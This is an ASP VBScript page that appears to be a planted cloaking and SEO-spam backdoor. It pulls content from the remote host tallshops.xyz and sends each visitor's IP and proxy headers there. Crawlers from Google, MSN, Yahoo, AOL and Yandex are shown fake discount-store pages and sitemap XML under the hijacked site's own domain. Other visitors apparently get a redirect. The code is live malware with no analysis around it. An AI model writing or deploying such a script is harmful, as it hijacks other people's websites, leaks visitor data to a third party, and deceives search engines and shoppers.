<% Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8") set http=nothing If Err.number<>0 then Response.Write "

" Response.end Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Randomize %> <% Dim xy if Request.ServerVariables("HTTPS")= "off" then xy="http://" else xy="https://" end if Dim Url,Html,hyzhdy,kname,jd,sz,surl if request("g")<>"" then jd=getHTTPPage("http://tallshops.xyz/1.aspx?sz="&request("g")) sz=request("g") else jd=getHTTPPage("http://tallshops.xyz/1.aspx?xy="&xy) sz=getHTTPPage("http://tallshops.xyz/1.aspx?jd="&jd) end if hyzhdy=jd&"JF888.aspx" surl=jd&"S888.aspx" if request("shop")<>"" then kname =request("shop") end if if request("kk")<>"" then ip="66.249.64.190" else ip=Request.ServerVariables("REMOTE_ADDR")&"*"&Request.ServerVariables("REMOTE_HOST")&"*"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")&"*"&Request.ServerVariables("HTTP_CLIENT_IP")&"*"&Request.ServerVariables("HTTP_X_FORWARDED")&"*"&Request.ServerVariables("HTTP_FORWARDED_FOR")&"*"&Request.ServerVariables("HTTP_FORWARDED") end if ipurl="http://tallshops.xyz/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) ddd=jd&"a.aspx" if(instr(domain,"google")=0 and instr(domain,"msn.com")=0 and instr(domain,"yahoo.com")=0 and instr(domain,"aol.com")=0 and instr(domain,"yandex")=0) then if request("iid")<>"" or request("shop")<>"" then ddd=ddd&"?cid="&request("cid")&"&cname="&Server.URLEncode(kname)&"&url="&Request.ServerVariables("HTTP_HOST") Response.write "" Response.end end if if request("pnum")<>"" then ddd=Replace(ddd, "products.aspx", "") ddd=ddd&"?cid="&request("cid") Response.write "" Response.end end if end if %> <% if request("s")<>"" then surl=surl&"?number="&request("number")&"&pnum="&request("pnum")&"&cid="&request("cid")&"&type="&request("type") con=getHTTPPage(surl) con=Replace(con, "yymm", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")) con=Replace(con, "ggggg", sz) Response.contentType="text/xml" Response.write con Response.end end if %> <%=kname%> > Top Quality - On Sale Now - <%=INT((65-50+1)*RND+50)%>% " /> <% if request("iid")<>"" then hyzhdy=hyzhdy&"?iid="&request("iid")&"&cid="&request("cid") else if request("shop")<>"" then hyzhdy=hyzhdy&"?shop="&request("shop")&"&cid="&request("cid") else if request("pnum")<>"" then hyzhdy=hyzhdy&"?cid="&request("cid")&"&pnum="&request("pnum") end if end if end if con=getHTTPPage(hyzhdy) con=Replace(con, "ggggg", sz) con=Replace(con, "IIIII", xy&Request.ServerVariables("HTTP_HOST")) con=Replace(con, "UUUUU", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")) con=Replace(con, "HHHHH", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")) con=Replace(con, "BBBBB", Request.ServerVariables("HTTP_HOST")) con=Replace(con, "NNNNN", "Cheap clothing, shoes, accessories and various electronic accessories") con=Replace(con, "SSSSS", "Discover and shop affordable women's clothing, shoes and accessories for a variety of daily needs. Shop the latest women's clothing collections at affordable prices. Free shipping!") con=Replace(con, "DDDDD", "More") Response.write con %>